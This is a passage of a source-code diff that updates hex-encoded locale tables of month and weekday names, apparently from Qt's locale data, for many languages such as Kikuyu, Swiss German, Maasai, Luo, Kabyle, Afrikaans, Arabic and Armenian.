0x3b, 0x4a, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x45, 0x3b, +0x4d, 0x3b, 0x4a, 0x3b, 0x4a, 0x3b, 0x4f, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, +0x46, 0x65, 0x76, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x62, 0x72, 0x3b, 0x4d, 0x61, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, +0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x6f, 0x3b, 0x53, 0x65, 0x74, 0x3b, 0x4f, 0x74, 0x75, 0x3b, 0x4e, 0x75, 0x76, 0x3b, +0x44, 0x69, 0x7a, 0x3b, 0x4a, 0x61, 0x6e, 0x65, 0x72, 0x75, 0x3b, 0x46, 0x65, 0x76, 0x65, 0x72, 0x65, 0x72, 0x75, 0x3b, +0x4d, 0x61, 0x72, 0x73, 0x75, 0x3b, 0x41, 0x62, 0x72, 0x69, 0x6c, 0x3b, 0x4d, 0x61, 0x69, 0x75, 0x3b, 0x4a, 0x75, 0x6e, +0x68, 0x75, 0x3b, 0x4a, 0x75, 0x6c, 0x68, 0x75, 0x3b, 0x41, 0x67, 0x6f, 0x73, 0x74, 0x75, 0x3b, 0x53, 0x65, 0x74, 0x65, +0x6e, 0x62, 0x72, 0x75, 0x3b, 0x4f, 0x74, 0x75, 0x62, 0x72, 0x75, 0x3b, 0x4e, 0x75, 0x76, 0x65, 0x6e, 0x62, 0x72, 0x75, +0x3b, 0x44, 0x69, 0x7a, 0x65, 0x6e, 0x62, 0x72, 0x75, 0x3b, 0x4a, 0x41, 0x4e, 0x3b, 0x46, 0x45, 0x42, 0x3b, 0x4d, 0x41, +0x43, 0x3b, 0x128, 0x50, 0x55, 0x3b, 0x4d, 0x128, 0x128, 0x3b, 0x4e, 0x4a, 0x55, 0x3b, 0x4e, 0x4a, 0x52, 0x3b, 0x41, 0x47, +0x41, 0x3b, 0x53, 0x50, 0x54, 0x3b, 0x4f, 0x4b, 0x54, 0x3b, 0x4e, 0x4f, 0x56, 0x3b, 0x44, 0x45, 0x43, 0x3b, 0x4a, 0x61, +0x6e, 0x75, 0x61, 0x72, 0x129, 0x3b, 0x46, 0x65, 0x62, 0x75, 0x72, 0x75, 0x61, 0x72, 0x129, 0x3b, 0x4d, 0x61, 0x63, 0x68, +0x69, 0x3b, 0x128, 0x70, 0x75, 0x72, 0x169, 0x3b, 0x4d, 0x129, 0x129, 0x3b, 0x4e, 0x6a, 0x75, 0x6e, 0x69, 0x3b, 0x4e, 0x6a, +0x75, 0x72, 0x61, 0x129, 0x3b, 0x41, 0x67, 0x61, 0x73, 0x74, 0x69, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, +0x3b, 0x4f, 0x6b, 0x74, 0x169, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x69, 0x63, 0x65, +0x6d, 0x62, 0x61, 0x3b, 0x4a, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x128, 0x3b, 0x4d, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x41, 0x3b, +0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x4d, 0x75, 0x6c, 0x3b, 0x4e, 0x67, 0x61, 0x3b, 0x4b, 0x69, 0x70, 0x3b, +0x49, 0x77, 0x61, 0x3b, 0x4e, 0x67, 0x65, 0x3b, 0x57, 0x61, 0x6b, 0x3b, 0x52, 0x6f, 0x70, 0x3b, 0x4b, 0x6f, 0x67, 0x3b, +0x42, 0x75, 0x72, 0x3b, 0x45, 0x70, 0x65, 0x3b, 0x54, 0x61, 0x69, 0x3b, 0x41, 0x65, 0x6e, 0x3b, 0x4d, 0x75, 0x6c, 0x67, +0x75, 0x6c, 0x3b, 0x4e, 0x67, 0x27, 0x61, 0x74, 0x79, 0x61, 0x74, 0x6f, 0x3b, 0x4b, 0x69, 0x70, 0x74, 0x61, 0x6d, 0x6f, +0x3b, 0x49, 0x77, 0x61, 0x74, 0x20, 0x6b, 0x75, 0x74, 0x3b, 0x4e, 0x67, 0x27, 0x65, 0x69, 0x79, 0x65, 0x74, 0x3b, 0x57, +0x61, 0x6b, 0x69, 0x3b, 0x52, 0x6f, 0x70, 0x74, 0x75, 0x69, 0x3b, 0x4b, 0x69, 0x70, 0x6b, 0x6f, 0x67, 0x61, 0x67, 0x61, +0x3b, 0x42, 0x75, 0x72, 0x65, 0x74, 0x3b, 0x45, 0x70, 0x65, 0x73, 0x6f, 0x3b, 0x4b, 0x69, 0x70, 0x73, 0x75, 0x6e, 0x64, +0x65, 0x20, 0x6e, 0x65, 0x74, 0x61, 0x69, 0x3b, 0x4b, 0x69, 0x70, 0x73, 0x75, 0x6e, 0x64, 0x65, 0x20, 0x6e, 0x65, 0x62, +0x6f, 0x20, 0x61, 0x65, 0x6e, 0x67, 0x3b, 0x4d, 0x3b, 0x4e, 0x3b, 0x4b, 0x3b, 0x49, 0x3b, 0x4e, 0x3b, 0x57, 0x3b, 0x52, +0x3b, 0x4b, 0x3b, 0x42, 0x3b, 0x45, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x1c3, 0x4b, 0x68, 0x61, 0x6e, 0x6e, 0x69, 0x3b, 0x1c3, +0x4b, 0x68, 0x61, 0x6e, 0x1c0, 0x67, 0xf4, 0x61, 0x62, 0x3b, 0x1c0, 0x4b, 0x68, 0x75, 0x75, 0x1c1, 0x6b, 0x68, 0xe2, 0x62, +0x3b, 0x1c3, 0x48, 0xf4, 0x61, 0x1c2, 0x6b, 0x68, 0x61, 0x69, 0x62, 0x3b, 0x1c3, 0x4b, 0x68, 0x61, 0x69, 0x74, 0x73, 0xe2, +0x62, 0x3b, 0x47, 0x61, 0x6d, 0x61, 0x1c0, 0x61, 0x65, 0x62, 0x3b, 0x1c2, 0x4b, 0x68, 0x6f, 0x65, 0x73, 0x61, 0x6f, 0x62, +0x3b, 0x41, 0x6f, 0x1c1, 0x6b, 0x68, 0x75, 0x75, 0x6d, 0xfb, 0x1c1, 0x6b, 0x68, 0xe2, 0x62, 0x3b, 0x54, 0x61, 0x72, 0x61, +0x1c0, 0x6b, 0x68, 0x75, 0x75, 0x6d, 0xfb, 0x1c1, 0x6b, 0x68, 0xe2, 0x62, 0x3b, 0x1c2, 0x4e, 0xfb, 0x1c1, 0x6e, 0xe2, 0x69, +0x73, 0x65, 0x62, 0x3b, 0x1c0, 0x48, 0x6f, 0x6f, 0x1c2, 0x67, 0x61, 0x65, 0x62, 0x3b, 0x48, 0xf4, 0x61, 0x73, 0x6f, 0x72, +0x65, 0x1c1, 0x6b, 0x68, 0xe2, 0x62, 0x3b, 0x4a, 0x61, 0x6e, 0x2e, 0x3b, 0x46, 0xe4, 0x62, 0x2e, 0x3b, 0x4d, 0x61, 0x72, +0x2e, 0x3b, 0x41, 0x70, 0x72, 0x2e, 0x3b, 0x4d, 0xe4, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x2e, 0x3b, 0x4a, 0x75, 0x6c, 0x2e, +0x3b, 0x4f, 0x75, 0x67, 0x2e, 0x3b, 0x53, 0xe4, 0x70, 0x2e, 0x3b, 0x4f, 0x6b, 0x74, 0x2e, 0x3b, 0x4e, 0x6f, 0x76, 0x2e, +0x3b, 0x44, 0x65, 0x7a, 0x2e, 0x3b, 0x4a, 0x61, 0x6e, 0x6e, 0x65, 0x77, 0x61, 0x3b, 0x46, 0xe4, 0x62, 0x72, 0x6f, 0x77, +0x61, 0x3b, 0x4d, 0xe4, 0xe4, 0x7a, 0x3b, 0x41, 0x70, 0x72, 0x65, 0x6c, 0x6c, 0x3b, 0x4d, 0xe4, 0x69, 0x3b, 0x4a, 0x75, +0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x75, 0x6c, 0x69, 0x3b, 0x4f, 0x75, 0x6a, 0x6f, 0xdf, 0x3b, 0x53, 0x65, 0x70, 0x74, +0xe4, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x6f, 0x62, 0x65, 0x72, 0x3b, 0x4e, 0x6f, 0x76, 0xe4, 0x6d, +0x62, 0x65, 0x72, 0x3b, 0x44, 0x65, 0x7a, 0xe4, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x44, 0x61, 0x6c, 0x3b, 0x41, 0x72, 0xe1, +0x3b, 0x186, 0x25b, 0x6e, 0x3b, 0x44, 0x6f, 0x79, 0x3b, 0x4c, 0xe9, 0x70, 0x3b, 0x52, 0x6f, 0x6b, 0x3b, 0x53, 0xe1, 0x73, +0x3b, 0x42, 0x254, 0x301, 0x72, 0x3b, 0x4b, 0xfa, 0x73, 0x3b, 0x47, 0xed, 0x73, 0x3b, 0x53, 0x68, 0x289, 0x301, 0x3b, 0x4e, +0x74, 0x289, 0x301, 0x3b, 0x4f, 0x6c, 0x61, 0x64, 0x61, 0x6c, 0x289, 0x301, 0x3b, 0x41, 0x72, 0xe1, 0x74, 0x3b, 0x186, 0x25b, +0x6e, 0x268, 0x301, 0x254, 0x268, 0x14b, 0x254, 0x6b, 0x3b, 0x4f, 0x6c, 0x6f, 0x64, 0x6f, 0x79, 0xed, 0xf3, 0x72, 0xed, 0xea, +0x20, 0x69, 0x6e, 0x6b, 0xf3, 0x6b, 0xfa, 0xe2, 0x3b, 0x4f, 0x6c, 0x6f, 0x69, 0x6c, 0xe9, 0x70, 0x16b, 0x6e, 0x79, 0x12b, +0x113, 0x20, 0x69, 0x6e, 0x6b, 0xf3, 0x6b, 0xfa, 0xe2, 0x3b, 0x4b, 0xfa, 0x6a, 0xfa, 0x254, 0x72, 0x254, 0x6b, 0x3b, 0x4d, +0xf3, 0x72, 0x75, 0x73, 0xe1, 0x73, 0x69, 0x6e, 0x3b, 0x186, 0x6c, 0x254, 0x301, 0x268, 0x301, 0x62, 0x254, 0x301, 0x72, 0xe1, +0x72, 0x25b, 0x3b, 0x4b, 0xfa, 0x73, 0x68, 0xee, 0x6e, 0x3b, 0x4f, 0x6c, 0x67, 0xed, 0x73, 0x61, 0x6e, 0x3b, 0x50, 0x289, +0x73, 0x68, 0x289, 0x301, 0x6b, 0x61, 0x3b, 0x4e, 0x74, 0x289, 0x301, 0x14b, 0x289, 0x301, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, +0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, +0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x6f, 0x3b, 0x53, 0x65, 0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, +0x44, 0x65, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x63, 0x3b, 0x41, 0x70, 0x72, 0x3b, +0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x6f, 0x3b, 0x53, 0x65, 0x70, 0x3b, +0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x63, 0x3b, 0x52, 0x61, 0x72, 0x3b, 0x4d, 0x75, 0x6b, 0x3b, +0x4b, 0x77, 0x61, 0x3b, 0x44, 0x75, 0x6e, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x4d, 0x6f, 0x64, 0x3b, 0x4a, 0x6f, 0x6c, 0x3b, +0x50, 0x65, 0x64, 0x3b, 0x53, 0x6f, 0x6b, 0x3b, 0x54, 0x69, 0x62, 0x3b, 0x4c, 0x61, 0x62, 0x3b, 0x50, 0x6f, 0x6f, 0x3b, +0x4f, 0x72, 0x61, 0x72, 0x61, 0x3b, 0x4f, 0x6d, 0x75, 0x6b, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, 0x67, 0x27, 0x3b, 0x4f, +0x64, 0x75, 0x6e, 0x67, 0x27, 0x65, 0x6c, 0x3b, 0x4f, 0x6d, 0x61, 0x72, 0x75, 0x6b, 0x3b, 0x4f, 0x6d, 0x6f, 0x64, 0x6f, +0x6b, 0x27, 0x6b, 0x69, 0x6e, 0x67, 0x27, 0x6f, 0x6c, 0x3b, 0x4f, 0x6a, 0x6f, 0x6c, 0x61, 0x3b, 0x4f, 0x70, 0x65, 0x64, +0x65, 0x6c, 0x3b, 0x4f, 0x73, 0x6f, 0x6b, 0x6f, 0x73, 0x6f, 0x6b, 0x6f, 0x6d, 0x61, 0x3b, 0x4f, 0x74, 0x69, 0x62, 0x61, +0x72, 0x3b, 0x4f, 0x6c, 0x61, 0x62, 0x6f, 0x72, 0x3b, 0x4f, 0x70, 0x6f, 0x6f, 0x3b, 0x52, 0x3b, 0x4d, 0x3b, 0x4b, 0x3b, +0x44, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x50, 0x3b, 0x53, 0x3b, 0x54, 0x3b, 0x4c, 0x3b, 0x50, 0x3b, 0x17d, 0x61, +0x6e, 0x3b, 0x46, 0x65, 0x65, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x77, 0x69, 0x3b, 0x4d, 0x65, 0x3b, 0x17d, 0x75, 0x77, +0x3b, 0x17d, 0x75, 0x79, 0x3b, 0x55, 0x74, 0x3b, 0x53, 0x65, 0x6b, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x6f, 0x3b, +0x44, 0x65, 0x65, 0x3b, 0x17d, 0x61, 0x6e, 0x77, 0x69, 0x79, 0x65, 0x3b, 0x46, 0x65, 0x65, 0x77, 0x69, 0x72, 0x69, 0x79, +0x65, 0x3b, 0x4d, 0x61, 0x72, 0x73, 0x69, 0x3b, 0x41, 0x77, 0x69, 0x72, 0x69, 0x6c, 0x3b, 0x4d, 0x65, 0x3b, 0x17d, 0x75, +0x77, 0x65, 0x14b, 0x3b, 0x17d, 0x75, 0x79, 0x79, 0x65, 0x3b, 0x55, 0x74, 0x3b, 0x53, 0x65, 0x6b, 0x74, 0x61, 0x6e, 0x62, +0x75, 0x72, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x6f, 0x62, 0x75, 0x72, 0x3b, 0x4e, 0x6f, 0x6f, 0x77, 0x61, 0x6e, 0x62, 0x75, +0x72, 0x3b, 0x44, 0x65, 0x65, 0x73, 0x61, 0x6e, 0x62, 0x75, 0x72, 0x3b, 0x17d, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, +0x4d, 0x3b, 0x17d, 0x3b, 0x17d, 0x3b, 0x55, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x44, 0x41, 0x43, 0x3b, +0x44, 0x41, 0x52, 0x3b, 0x44, 0x41, 0x44, 0x3b, 0x44, 0x41, 0x4e, 0x3b, 0x44, 0x41, 0x48, 0x3b, 0x44, 0x41, 0x55, 0x3b, +0x44, 0x41, 0x4f, 0x3b, 0x44, 0x41, 0x42, 0x3b, 0x44, 0x4f, 0x43, 0x3b, 0x44, 0x41, 0x50, 0x3b, 0x44, 0x47, 0x49, 0x3b, +0x44, 0x41, 0x47, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x63, 0x68, 0x69, 0x65, 0x6c, 0x3b, 0x44, +0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x72, 0x69, 0x79, 0x6f, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, +0x20, 0x41, 0x64, 0x65, 0x6b, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x6e, 0x67, 0x27, 0x77, 0x65, +0x6e, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x62, 0x69, 0x63, 0x68, 0x3b, 0x44, 0x77, 0x65, 0x20, +0x6d, 0x61, 0x72, 0x20, 0x41, 0x75, 0x63, 0x68, 0x69, 0x65, 0x6c, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, +0x41, 0x62, 0x69, 0x72, 0x69, 0x79, 0x6f, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x62, 0x6f, 0x72, +0x6f, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x4f, 0x63, 0x68, 0x69, 0x6b, 0x6f, 0x3b, 0x44, 0x77, 0x65, +0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x70, 0x61, 0x72, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x67, 0x69, +0x20, 0x61, 0x63, 0x68, 0x69, 0x65, 0x6c, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x70, 0x61, 0x72, +0x20, 0x67, 0x69, 0x20, 0x61, 0x72, 0x69, 0x79, 0x6f, 0x3b, 0x43, 0x3b, 0x52, 0x3b, 0x44, 0x3b, 0x4e, 0x3b, 0x42, 0x3b, +0x55, 0x3b, 0x42, 0x3b, 0x42, 0x3b, 0x43, 0x3b, 0x50, 0x3b, 0x43, 0x3b, 0x50, 0x3b, 0x59, 0x65, 0x6e, 0x3b, 0x59, 0x65, +0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x49, 0x62, 0x72, 0x3b, 0x4d, 0x61, 0x79, 0x3b, 0x59, 0x75, 0x6e, 0x3b, 0x59, 0x75, +0x6c, 0x3b, 0x194, 0x75, 0x63, 0x3b, 0x43, 0x75, 0x74, 0x3b, 0x4b, 0x1e6d, 0x75, 0x3b, 0x4e, 0x77, 0x61, 0x3b, 0x44, 0x75, +0x6a, 0x3b, 0x59, 0x65, 0x6e, 0x6e, 0x61, 0x79, 0x65, 0x72, 0x3b, 0x59, 0x65, 0x62, 0x72, 0x61, 0x79, 0x65, 0x72, 0x3b, +0x4d, 0x61, 0x72, 0x73, 0x3b, 0x49, 0x62, 0x72, 0x69, 0x72, 0x3b, 0x4d, 0x61, 0x79, 0x79, 0x75, 0x3b, 0x59, 0x75, 0x6e, +0x79, 0x75, 0x3b, 0x59, 0x75, 0x6c, 0x79, 0x75, 0x7a, 0x3b, 0x194, 0x75, 0x63, 0x74, 0x3b, 0x43, 0x75, 0x74, 0x61, 0x6e, +0x62, 0x69, 0x72, 0x3b, 0x4b, 0x1e6d, 0x75, 0x62, 0x65, 0x72, 0x3b, 0x4e, 0x77, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x3b, 0x44, +0x75, 0x6a, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x3b, 0x59, 0x3b, 0x59, 0x3b, 0x4d, 0x3b, 0x49, 0x3b, 0x4d, 0x3b, 0x59, 0x3b, +0x59, 0x3b, 0x194, 0x3b, 0x43, 0x3b, 0x4b, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x69, 0x3b, +0x46, 0x65, 0x62, 0x6c, 0x75, 0x61, 0x6c, 0x69, 0x3b, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x41, 0x70, 0x6c, 0x69, 0x6c, +0x69, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x69, 0x3b, 0x41, 0x67, 0x6f, +0x73, 0x74, 0x69, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x3b, +0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x61, 0x3b }; static const ushort days_data[] = { @@ -1575,573 +3406,910 @@ static const ushort days_data[] = { 0x79, 0x3b, 0x54, 0x75, 0x65, 0x73, 0x64, 0x61, 0x79, 0x3b, 0x57, 0x65, 0x64, 0x6e, 0x65, 0x73, 0x64, 0x61, 0x79, 0x3b, 0x54, 0x68, 0x75, 0x72, 0x73, 0x64, 0x61, 0x79, 0x3b, 0x46, 0x72, 0x69, 0x64, 0x61, 0x79, 0x3b, 0x53, 0x61, 0x74, 0x75, 0x72, 0x64, 0x61, 0x79, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x54, 0x3b, 0x57, 0x3b, 0x54, 0x3b, 0x46, 0x3b, 0x53, 0x3b, 0x37, -0x3b, 0x31, 0x3b, 0x32, 0x3b, 0x33, 0x3b, 0x34, 0x3b, 0x35, 0x3b, 0x36, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, -0x44, 0x69, 0x6c, 0x3b, 0x57, 0x69, 0x78, 0x3b, 0x51, 0x69, 0x62, 0x3b, 0x52, 0x6f, 0x62, 0x3b, 0x4b, 0x61, 0x6d, 0x3b, -0x4a, 0x69, 0x6d, 0x3b, 0x53, 0x61, 0x6e, 0x3b, 0x44, 0x69, 0x6c, 0x62, 0x61, 0x74, 0x61, 0x3b, 0x57, 0x69, 0x69, 0x78, -0x61, 0x74, 0x61, 0x3b, 0x51, 0x69, 0x62, 0x78, 0x61, 0x74, 0x61, 0x3b, 0x52, 0x6f, 0x6f, 0x62, 0x69, 0x69, 0x3b, 0x4b, -0x61, 0x6d, 0x69, 0x69, 0x73, 0x61, 0x3b, 0x4a, 0x69, 0x6d, 0x61, 0x61, 0x74, 0x61, 0x3b, 0x53, 0x61, 0x6e, 0x62, 0x61, -0x74, 0x61, 0x3b, 0x41, 0x3b, 0x45, 0x3b, 0x54, 0x3b, 0x41, 0x3b, 0x4b, 0x3b, 0x47, 0x3b, 0x53, 0x3b, 0x41, 0x63, 0x61, -0x3b, 0x45, 0x74, 0x6c, 0x3b, 0x54, 0x61, 0x6c, 0x3b, 0x41, 0x72, 0x62, 0x3b, 0x4b, 0x61, 0x6d, 0x3b, 0x47, 0x75, 0x6d, -0x3b, 0x53, 0x61, 0x62, 0x3b, 0x41, 0x63, 0x61, 0x61, 0x64, 0x61, 0x3b, 0x45, 0x74, 0x6c, 0x65, 0x65, 0x6e, 0x69, 0x3b, -0x54, 0x61, 0x6c, 0x61, 0x61, 0x74, 0x61, 0x3b, 0x41, 0x72, 0x62, 0x61, 0x71, 0x61, 0x3b, 0x4b, 0x61, 0x6d, 0x69, 0x69, -0x73, 0x69, 0x3b, 0x47, 0x75, 0x6d, 0x71, 0x61, 0x74, 0x61, 0x3b, 0x53, 0x61, 0x62, 0x74, 0x69, 0x3b, 0x31, 0x3b, 0x32, -0x3b, 0x33, 0x3b, 0x34, 0x3b, 0x35, 0x3b, 0x36, 0x3b, 0x37, 0x3b, 0x53, 0x6f, 0x3b, 0x4d, 0x61, 0x3b, 0x44, 0x69, 0x3b, -0x57, 0x6f, 0x3b, 0x44, 0x6f, 0x3b, 0x56, 0x72, 0x3b, 0x53, 0x61, 0x3b, 0x53, 0x6f, 0x6e, 0x64, 0x61, 0x67, 0x3b, 0x4d, -0x61, 0x61, 0x6e, 0x64, 0x61, 0x67, 0x3b, 0x44, 0x69, 0x6e, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x57, 0x6f, 0x65, 0x6e, 0x73, -0x64, 0x61, 0x67, 0x3b, 0x44, 0x6f, 0x6e, 0x64, 0x65, 0x72, 0x64, 0x61, 0x67, 0x3b, 0x56, 0x72, 0x79, 0x64, 0x61, 0x67, -0x3b, 0x53, 0x61, 0x74, 0x65, 0x72, 0x64, 0x61, 0x67, 0x3b, 0x44, 0x3b, 0x48, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x45, 0x3b, -0x50, 0x3b, 0x53, 0x3b, 0x44, 0x69, 0x65, 0x3b, 0x48, 0xeb, 0x6e, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x4d, 0xeb, 0x72, 0x3b, -0x45, 0x6e, 0x6a, 0x3b, 0x50, 0x72, 0x65, 0x3b, 0x53, 0x68, 0x74, 0x3b, 0x65, 0x20, 0x64, 0x69, 0x65, 0x6c, 0x3b, 0x65, -0x20, 0x68, 0xeb, 0x6e, 0xeb, 0x3b, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x74, 0xeb, 0x3b, 0x65, 0x20, 0x6d, 0xeb, 0x72, 0x6b, -0x75, 0x72, 0xeb, 0x3b, 0x65, 0x20, 0x65, 0x6e, 0x6a, 0x74, 0x65, 0x3b, 0x65, 0x20, 0x70, 0x72, 0x65, 0x6d, 0x74, 0x65, -0x3b, 0x65, 0x20, 0x73, 0x68, 0x74, 0x75, 0x6e, 0xeb, 0x3b, 0x12a5, 0x3b, 0x1230, 0x3b, 0x121b, 0x3b, 0x1228, 0x3b, 0x1210, 0x3b, -0x12d3, 0x3b, 0x1245, 0x3b, 0x12a5, 0x1211, 0x12f5, 0x3b, 0x1230, 0x129e, 0x3b, 0x121b, 0x12ad, 0x1230, 0x3b, 0x1228, 0x1261, 0x12d5, 0x3b, 0x1210, -0x1219, 0x1235, 0x3b, 0x12d3, 0x122d, 0x1265, 0x3b, 0x1245, 0x12f3, 0x121c, 0x3b, 0x12a5, 0x1211, 0x12f5, 0x3b, 0x1230, 0x129e, 0x3b, 0x121b, 0x12ad, -0x1230, 0x129e, 0x3b, 0x1228, 0x1261, 0x12d5, 0x3b, 0x1210, 0x1219, 0x1235, 0x3b, 0x12d3, 0x122d, 0x1265, 0x3b, 0x1245, 0x12f3, 0x121c, 0x3b, 0x623, -0x62d, 0x62f, 0x3b, 0x627, 0x62b, 0x646, 0x64a, 0x646, 0x3b, 0x62b, 0x644, 0x627, 0x62b, 0x627, 0x621, 0x3b, 0x623, 0x631, 0x628, 0x639, -0x627, 0x621, 0x3b, 0x62e, 0x645, 0x64a, 0x633, 0x3b, 0x62c, 0x645, 0x639, 0x629, 0x3b, 0x633, 0x628, 0x62a, 0x3b, 0x62d, 0x3b, 0x646, -0x3b, 0x62b, 0x3b, 0x631, 0x3b, 0x62e, 0x3b, 0x62c, 0x3b, 0x633, 0x3b, 0x627, 0x644, 0x623, 0x62d, 0x62f, 0x3b, 0x627, 0x644, 0x627, -0x62b, 0x646, 0x64a, 0x646, 0x3b, 0x627, 0x644, 0x62b, 0x644, 0x627, 0x62b, 0x627, 0x621, 0x3b, 0x627, 0x644, 0x623, 0x631, 0x628, 0x639, -0x627, 0x621, 0x3b, 0x627, 0x644, 0x62e, 0x645, 0x64a, 0x633, 0x3b, 0x627, 0x644, 0x62c, 0x645, 0x639, 0x629, 0x3b, 0x627, 0x644, 0x633, -0x628, 0x62a, 0x3b, 0x53f, 0x56b, 0x580, 0x3b, 0x535, 0x580, 0x56f, 0x3b, 0x535, 0x580, 0x584, 0x3b, 0x549, 0x578, 0x580, 0x3b, 0x540, -0x576, 0x563, 0x3b, 0x548, 0x582, 0x580, 0x3b, 0x547, 0x561, 0x562, 0x3b, 0x53f, 0x56b, 0x580, 0x561, 0x56f, 0x56b, 0x3b, 0x535, 0x580, -0x56f, 0x578, 0x582, 0x577, 0x561, 0x562, 0x569, 0x56b, 0x3b, 0x535, 0x580, 0x565, 0x584, 0x577, 0x561, 0x562, 0x569, 0x56b, 0x3b, 0x549, -0x578, 0x580, 0x565, 0x584, 0x577, 0x561, 0x562, 0x569, 0x56b, 0x3b, 0x540, 0x56b, 0x576, 0x563, 0x577, 0x561, 0x562, 0x569, 0x56b, 0x3b, -0x548, 0x582, 0x580, 0x562, 0x561, 0x569, 0x3b, 0x547, 0x561, 0x562, 0x561, 0x569, 0x3b, 0x9f0, 0x9ac, 0x9bf, 0x3b, 0x9b8, 0x9cb, 0x9ae, -0x3b, 0x9ae, 0x999, 0x9cd, 0x997, 0x9b2, 0x3b, 0x9ac, 0x9c1, 0x9a7, 0x3b, 0x9ac, 0x9c3, 0x9b9, 0x9b7, 0x9cd, 0x9aa, 0x9a4, 0x9bf, 0x3b, -0x9b6, 0x9c1, 0x995, 0x9cd, 0x9f0, 0x3b, 0x9b6, 0x9a8, 0x9bf, 0x3b, 0x9a6, 0x9c7, 0x993, 0x9ac, 0x9be, 0x9f0, 0x3b, 0x9b8, 0x9cb, 0x9ae, -0x9ac, 0x9be, 0x9f0, 0x3b, 0x9ae, 0x999, 0x9cd, 0x997, 0x9b2, 0x9ac, 0x9be, 0x9f0, 0x3b, 0x9ac, 0x9c1, 0x9a7, 0x9ac, 0x9be, 0x9f0, 0x3b, -0x9ac, 0x9c3, 0x9b9, 0x9b7, 0x9cd, 0x9aa, 0x9a4, 0x9bf, 0x9ac, 0x9be, 0x9f0, 0x3b, 0x9b6, 0x9c1, 0x995, 0x9cd, 0x9f0, 0x9ac, 0x9be, 0x9f0, -0x3b, 0x9b6, 0x9a8, 0x9bf, 0x9ac, 0x9be, 0x9f0, 0x3b, 0x42, 0x2e, 0x3b, 0x42, 0x2e, 0x45, 0x2e, 0x3b, 0xc7, 0x2e, 0x41, 0x2e, -0x3b, 0xc7, 0x2e, 0x3b, 0x43, 0x2e, 0x41, 0x2e, 0x3b, 0x43, 0x3b, 